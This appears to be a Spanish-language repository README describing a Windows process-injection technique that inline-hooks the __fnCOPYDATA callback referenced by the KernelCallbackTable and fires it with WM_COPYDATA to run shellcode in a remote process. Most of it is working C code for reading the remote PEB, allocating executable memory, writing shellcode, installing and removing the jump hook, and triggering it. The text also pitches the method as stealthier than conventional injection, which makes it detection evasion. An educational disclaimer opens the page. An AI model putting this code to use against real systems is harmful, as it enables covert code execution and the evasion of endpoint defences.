
Abusando del mecanismo de callback del kernel win32k.sys para la ejecución arbitraria de código
Este repositorio se proporciona estrictamente con fines educativos y de investigación defensiva.
Demuestra los mecanismos internos de despacho de callbacks de Windows y conceptos de flujo de control relacionados con KernelCallbackTable en un contexto de prueba de concepto.
El autor no asume ninguna responsabilidad por el mal uso.
Esta técnica de inyección abusa de la ruta de despacho de callbacks de kernel a usuario utilizada por el subsistema gráfico de Windows (win32k.sys) para obtener ejecución de código dentro de un proceso remoto. Al localizar el KernelCallbackTablea través delBloque de Entorno de Proceso (PEB), un operador puede enumerar las entradas de callback e identificar rutinas legítimas de modo usuario invocadas durante transiciones del kernel relacionadas con la GUI.
En lugar de realizar la tradicional inyección de KernelCallbackTable, donde una entrada de callback se sobrescribe directamente con la dirección del shellcode, esta variante intercepta el destino de callback legítimo referenciado por la tabla y redirige la ejecución al shellcode controlado por el atacante al momento de la invocación. Debido a que la ejecución se secuestra a través de una ruta de callback existente y esperada, la técnica puede proporcionar una alternativa más sigilosa que primitivas más convencionales como la creación de hilos remotos o la inyección basada en APC.
El subsistema gráfico de Windows delega partes del procesamiento relacionado con la GUI al modo usuario a través de un mecanismo de callback iniciado desde el modo kernel. Cuando win32k.sys necesita ejecutar lógica dentro del contexto de un proceso GUI, invoca KeUserModeCallback para realizar una transición controlada del modo kernel al modo usuario preservando el límite de aislamiento entre ambos contextos de ejecución.
Esta transición establece la ruta de ejecución legítima a través de la cual el kernel despacha callbacks del subsistema gráfico hacia el modo usuario—la misma ruta de la que luego abusa la técnica presentada.
Una vez completada la transición, la ejecución entra en KiUserCallbackDispatcher, una rutina de ntdll.dll responsable de recibir el índice de callback suministrado por el kernel y despachar la ejecución al manejador de callback correspondiente en modo usuario. Esta rutina sirve como punto de entrada obligatorio para todos los callbacks iniciados a través de KeUserModeCallback.
Debido a que toda la resolución de callbacks converge en este despachador, KiUserCallbackDispatcher actúa como el pivote central entre las solicitudes de callback del kernel y su eventual ejecución en modo usuario.
Para resolver el destino de un callback solicitado, KiUserCallbackDispatcher consulta la KernelCallbackTable almacenada en el PEB del proceso objetivo. Cada entrada de la tabla contiene un puntero a una rutina de callback en modo usuario asociada con una operación específica del subsistema gráfico, típicamente implementada en user32.dll.
Las técnicas tradicionales de inyección de KernelCallbackTable sobrescriben directamente una o más de estas entradas para redirigir la ejecución. Si bien son efectivas, modificar la tabla en sí introduce anomalías estructurales que pueden detectarse trivialmente mediante la validación de integridad del PEB o del contenido de la tabla de callbacks. La técnica presentada evita esto preservando la estructura de la tabla y, en su lugar, desviando el destino de callback referenciado por la entrada.
Entre las entradas disponibles de KernelCallbackTable, __fnCOPYDATA proporciona una primitiva de activación particularmente conveniente porque puede invocarse externamente mediante el envío de un mensaje WM_COPYDATA a través de SendMessage(). Esto permite activar el callback de forma determinista sin requerir un estado inusual del proceso ni una interacción compleja.
Al aprovechar un destino de callback naturalmente accesible y de uso frecuente, la técnica obtiene una primitiva de ejecución fiable mientras permanece completamente dentro de la cadena esperada de despacho de callbacks antes de la redirección.

La técnica comienza localizando el proceso objetivo y leyendo su PEB para recuperar la dirección de la KernelCallbackTable, desde la cual se resuelve el puntero de callback para __fnCOPYDATA. A continuación, se asigna memoria ejecutable dentro del proceso remoto y se escribe el shellcode controlado por el atacante en la región asignada. Antes de la modificación, los bytes originales de la rutina de callback legítima se conservan para permitir su restauración posterior.
Posteriormente, se instala un hook inline al inicio de la rutina resuelta __fnCOPYDATA, reemplazando su prólogo con un salto absoluto al shellcode inyectado. Para desencadenar la ejecución, se envía un mensaje WM_COPYDATA a la ventana objetivo, lo que hace que el subsistema gráfico de Windows despache __fnCOPYDATA a través de la cadena estándar de callbacks de kernel a usuario. Una vez completada la ejecución, los bytes originales del callback se restauran para preservar la estabilidad del proceso y reducir los artefactos de modificación residuales.
La KernelCallbackTable se encuentra en el desplazamiento 0x58 dentro del PEB:

La siguiente lógica se utiliza para obtenerla:
PROCESS_BASIC_INFORMATION pbi;
PEB peb;
KERNELCALLBACKTABLE kct;
if (NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
/* Read remote PEB */
if (NtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
/* Ensure KernelCallbackTable is present */
if (!peb.KernelCallbackTable) {
NtClose(hProcess);
return 1;
}
/* Read KernelCallbackTable contents */
if (NtReadVirtualMemory(hProcess, peb.KernelCallbackTable, &kct, sizeof(kct), NULL) != STATUS_SUCCESS)
{
NtClose(hProcess);
return 1;
}
El código comienza llamando a NtQueryInformationProcess con la clase de información ProcessBasicInformation para rellenar una estructura PROCESS_BASIC_INFORMATION, que expone la dirección del PEB del proceso remoto a través del campo PebBaseAddress.
A continuación, se utiliza NtReadVirtualMemory para leer el PEB remoto en una estructura local PEB, lo que permite extraer el puntero a KernelCallbackTable almacenado dentro del entorno del proceso. Después de validar que la tabla de callbacks está presente, una segunda llamada a NtReadVirtualMemory copia la estructura remota KERNELCALLBACKTABLE en la memoria local, lo que permite la resolución directa de destinos de callback como __fnCOPYDATA para el posterior desvío.

PVOID remoteShellcodeAddr = NULL;
SIZE_T shellcodeSize = sizeof(g_CalcSh);
if (NtAllocateVirtualMemory(hProcess, &remoteShellcodeAddr, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE) == STATUS_SUCCESS) {
if (NtWriteVirtualMemory(hProcess, remoteShellcodeAddr, g_CalcSh, sizeof(g_CalcSh), NULL) == STATUS_SUCCESS) {
printf("[+] shellcode @ 0x%p\n", remoteShellcodeAddr);
NtAllocateVirtualMemory reserva memoria ejecutable dentro del proceso remoto y devuelve su dirección base a través de remoteShellcodeAddr. El tamaño de la asignación se deriva de la longitud del búfer de shellcode.
NtWriteVirtualMemory copia el shellcode en la región asignada, preparando el payload en el proceso objetivo para su posterior ejecución a través del desvío de callback.
int InitializeHookRemote(HANDLE hProcess, PVOID pRemoteFunc, PVOID pRemoteDetour, PINLINEHOOKTABLE Hook) {
if (!pRemoteFunc || !pRemoteDetour || !Hook || !NtProtectVirtualMemory || !NtReadVirtualMemory) return 0;
Hook->pOriginalFunction = pRemoteFunc;
Hook->pFunctionDetour = pRemoteDetour;
if (NtReadVirtualMemory(hProcess, pRemoteFunc, Hook->pObjBytes, JMP_SIZE, NULL) != STATUS_SUCCESS) return 0;
PVOID pBaseAddress = pRemoteFunc;
SIZE_T sRegionSize = JMP_SIZE;
if (NtProtectVirtualMemory(hProcess, &pBaseAddress, &sRegionSize, PAGE_EXECUTE_READWRITE, &Hook->dwOldProtection) != STATUS_SUCCESS) return 0;
return 1;
}
InitializeHookRemote prepara el destino de callback remoto para el desvío almacenando la función original y las direcciones del detour dentro de la estructura INLINEHOOKTABLE. Conserva el prólogo original del callback leyendo los primeros bytes de la rutina objetivo con NtReadVirtualMemory y, a continuación, cambia la protección de esa región a PAGE_EXECUTE_READWRITE mediante NtProtectVirtualMemory para que pueda parchearse de forma segura.
int InstallHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory) return 0;
BYTE g_Jump[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, pRemoteDetour
0x41, 0xFF, 0xE2 // jmp r10
};
UINT64 uPatch = (UINT64)(Hook->pFunctionDetour);
RtlCopyMemory(&g_Jump[2], &uPatch, sizeof(uPatch));
if (NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, g_Jump, sizeof(g_Jump), NULL) != STATUS_SUCCESS) return 0;
printf("[+] Hook installed in remote process @ 0x%p\n", Hook->pOriginalFunction);
return 1;
}
InstallHookRemote construye un stub de salto absoluto x64 (mov r10, <detour>; jmp r10) que redirige la ejecución al shellcode inyectado. El stub de salto se escribe sobre el inicio de la rutina de callback objetivo mediante NtWriteVirtualMemory, instalando efectivamente el hook inline.
int RemoveHookRemote(HANDLE hProcess, PINLINEHOOKTABLE Hook) {
if (!Hook || !Hook->pOriginalFunction || !NtWriteVirtualMemory || !NtProtectVirtualMemory) return 0;
ULONG tmpProtection = 0;
PVOID funcBaseAddr = Hook->pOriginalFunction;
SIZE_T regionSize = JMP_SIZE;
NTSTATUS status = NtWriteVirtualMemory(hProcess, Hook->pOriginalFunction, Hook->pObjBytes, JMP_SIZE, NULL);
NtProtectVirtualMemory(hProcess, &funcBaseAddr, ®ionSize, Hook->dwOldProtection, &tmpProtection);
return (status == STATUS_SUCCESS);
}
RemoveHookRemote restaura la rutina de callback original volviendo a escribir los bytes del prólogo conservados en la estructura INLINEHOOKTABLE. A continuación, restablece los atributos de protección de memoria originales de la región parcheada mediante NtProtectVirtualMemory, eliminando el hook inline y devolviendo el destino de callback a su estado inicial.
INLINEHOOKTABLE FnCopyDataHook = { 0 };
if (InitializeHookRemote(hProcess, kct.__fnCOPYDATA, remoteShellcodeAddr, &FnCopyDataHook)) {
if (InstallHookRemote(hProcess, &FnCopyDataHook)) {
printf("[>] Triggering WM_COPYDATA callback...\n");
COPYDATASTRUCT cds = {
1,
(DWORD)wcslen(msg) * sizeof(WCHAR),
msg
};
SendMessageW(hWnd, WM_COPYDATA, (WPARAM)hWnd, (LPARAM)&cds);
RemoveHookRemote(hProcess, &FnCopyDataHook);
}
}
Para desencadenar la ejecución, se envía un mensaje WM_COPYDATA a la ventana objetivo mediante SendMessageW, forzando al despachador de callbacks de Windows a invocar la rutina interceptada __fnCOPYDATA a través de la ruta normal de callbacks de kernel a usuario. Una vez completada la ejecución, RemoveHookRemote restaura los bytes originales del callback para preservar la estabilidad del proceso.
Una vez implementada la lógica, la prueba de concepto puede ejecutarse para producir el siguiente resultado:
